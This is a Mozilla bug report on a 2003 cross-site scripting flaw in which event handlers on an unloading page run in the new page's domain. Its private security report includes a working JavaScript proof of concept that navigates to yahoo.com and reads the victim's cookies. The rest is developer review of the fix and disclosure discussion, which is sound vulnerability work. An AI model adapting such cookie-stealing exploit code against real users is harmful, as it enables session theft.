227417 - Cross-domain exploit on zombie document with event handlers

Status: RESOLVED FIXED

(Core :: DOM: Events, defect)

Description

[Johnny Stenback (:jst)]

From [e-mail] (Andreas Sandblad), through [e-mail]:

PRIVATE SECURITY REPORT
-------------------------------------------------
Product: Mozilla browser
Tested:  Mozilla 1.5, Mozilla 1.2
Date:    2003-12-02
Issue:   Cross site scripting
Author:  Andreas Sandblad, [e-mail]
-------------------------------------------------

Summary:
========
When linking to a new page it is still possible to interact with the old
page before the new page has been successfully loaded. Any javascript
events fired will be invoked in the context of the new page, making cross
site scripting possible if the different pages belong to different
domains.


Details:
========
If you follow a link to another page there will always be some delay until
the new page is shown in the browser. The problem is that before the new page
has been displayed but after the browser has
set the new page as the current URL, it is still possible to interact with
the old page. Any javascript triggered will be operating in the domain of
the new page, regardless of the domain of the old page.

Mozilla has several security checks to prevent cross site scripting,
making actual exploitation a bit tricky. Before Mozilla switches to a new
URL it tries to remove any current running javascript, timers and event
handlers. The problem is that because the old page is still displayed
after the URL switch, it is possible to trigger certain tag events that
Mozilla failed to remove.


Exploit:
========
Our current document is filled with a lot of tables with height 1
containing onmousemove events. When mouse is initially moved over the
document we link to our target document and wait for Mozilla to switch to
the new URL. If mouse is moved after the switch our injected javascript
will be operating in the context of the new URL. Together with a very
limited amount of user interaction we can achieve a cross site scripting
attack.

Put the following code in a script tag and upload it to a remove server.
Make sure you got a cookie stored in the domain of the target. View the
html document containing the script in Mozilla and move the mouse over the
document to activate the exploit.
---------------- BEGIN ---------------------
// Andreas Sandblad
// 2003-11-24
// Mozilla - Cross site scripting

// Target URL (some network delay needed)
var target = "http://www.yahoo.com/";

// Write out a lot of onmousemove events
var block = true;
for (i = 0; i < 1000; i++)
  document.write('<table width=100% height=1 border=0><tr>'
    +'<td onmousemove="try {block;} catch(e) {'+payload+';payload();}">'
    +'<spacer type=block height=1></</td></tr></table>');
document.close();

// Called first time mouse is moved over document
function trigger() {
  document.onmousemove = null;
  location = target;
}
document.onmousemove = trigger;

// If block not definied then call payload
function payload() {
  try {
    block;
  } catch(e) {
    document.body.innerHTML=document.cookie;
    alert(document.cookie);
  }
}
---------------- END -----------------------

Comment 1

[Johnny Stenback (:jst)]

Attachment: Make sure we get the scope right even when wrapping "zombie nodes"

Comment 2

[Johnny Stenback (:jst)]

Attachment: Above testcase as a HTML file.

Comment 3

[Brendan Eich [:brendan]]

Let's fix this now, for 1.6b.  Cc'ing mkaply for 1.4.2.

/be

Comment 4

[Brendan Eich [:brendan]]

Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

>+    // If the content node doesn't have a document, it's either a node
>+    // that's not yet in a document, or the node is part of a document
>+    // that's being torn down. In the latter case it's important to
>+    // *not* use globalObj as the nodes parent since that would give
>+    // the node the principal of globalObj (i.e. the principal of the
>+    // document that's being loaded) and not the principal of the
>+    // document where the node originated from.

How about "of the document that's being unloaded."

>        So when there's no
>+    // document in

"for", not "in"?

	 the node, try to reach the original document
>+    // through the node's nodeinfo, or through the nodeinfo in the
>+    // node's parent (in case the node is a text node).
>+    //
>+    // nsIDOMNode::GetOwnerDocument() should do all of this for us,
>+    // but it doesn't yet, so until it does, we'll need to do this by
>+    // hand...

XXX comment if ever I read one.

Is there a bug on file already about how we shouldn't have this zombie state
between docs?  If not, please file one.  sr=me with comment nits picked.

/be

Comment 5

[David Baron :dbaron: (⌚️UTC-4, no longer working on Mozilla)]

Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

Is there a bug filed on fixing GetOwnerDocument?  That seems like a good thing
to do...

Comment 6

[Christopher Aillon (sabbatical, not receiving bugmail)]

Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

>Index: dom/src/base/nsDOMClassInfo.cpp

>-    node->GetOwnerDocument(getter_AddRefs(owner_doc));
>+    // If the content node doesn't have a document, it's either a node
>+    // that's not yet in a document, or the node is part of a document
>+    // that's being torn down. In the latter case it's important to
>+    // *not* use globalObj as the nodes parent since that would give
>+    // the node the principal of globalObj (i.e. the principal of the
>+    // document that's being loaded) and not the principal of the
>+    // document where the node originated from. So when there's no
>+    // document in the node, try to reach the original document
>+    // through the node's nodeinfo, or through the nodeinfo in the
>+    // node's parent (in case the node is a text node).

Could you reference this bug number in the comment here?  Also, maybe turn the
following bit about GetOwnerDocument into an XXX comment since it's really
something that should be changed at some future date.

>+    //
>+    // nsIDOMNode::GetOwnerDocument() should do all of this for us,
>+    // but it doesn't yet, so until it does, we'll need to do this by
>+    // hand...


The change here makes a lot of sense, so r=caillon if this works.

Comment 7

[Christopher Aillon (sabbatical, not receiving bugmail)]

Comment on attachment 136762 [details] [diff] [review]
Make sure we get the scope right even when wrapping "zombie nodes"

Oops.  Approvals got clobbered.  Re-setting.

Comment 8

[Johnny Stenback (:jst)]

dbaron, the bug about ownerDocument not working right is bug 27382.

Comment 9

[Johnny Stenback (:jst)]

Fix checked in on the trunk, and 1.4.2 (thanks to dbaron).

Comment 10

[Brendan Eich [:brendan]]

This is a security sensitive bug, so referencing it in the comment in the code
means that a number of facts about this bug are disclosed in advance of the bug
being opened up.

/be

Comment 11

[Christopher Aillon (sabbatical, not receiving bugmail)]

Brendan, that point does not really hold weight if the cvs commit comment
references the bug number (it does, and generally is the case even for security
sensitive bugs -- should this behavior be changed?) since the same information
can be deduced from that.

Comment 12

[Brendan Eich [:brendan]]

I've checked in refs to restricted bugs myself, and mentioned them in the
checkin comment.  No big deal, just wanted to mention it (dveditz pointed my
doing so out and I thought in hindsight that I'd have done differently; so I
wanted to see how others felt -- it's just a bit more consistent with the
restricted-bug policy, it seems to me).

/be

Comment 13

[Hixie (not reading bugmail)]

> Is there a bug on file already about how we shouldn't have this zombie state
> between docs?

Bug 76495.

Comment 14

[Johnny Stenback (:jst)]

Opening up bug now that it's fixed on all relevant branches.

Comment 15

[Caio Mendes]

Which versions of the Mozilla are immune to this bug? The versions 1.6b and 1.7a
are immune?

Comment 16

[Johnny Stenback (:jst)]

Yes, both of those versions (and everything newer than those too) are immune. So
is 1.4.2 and newer 1.4 builds.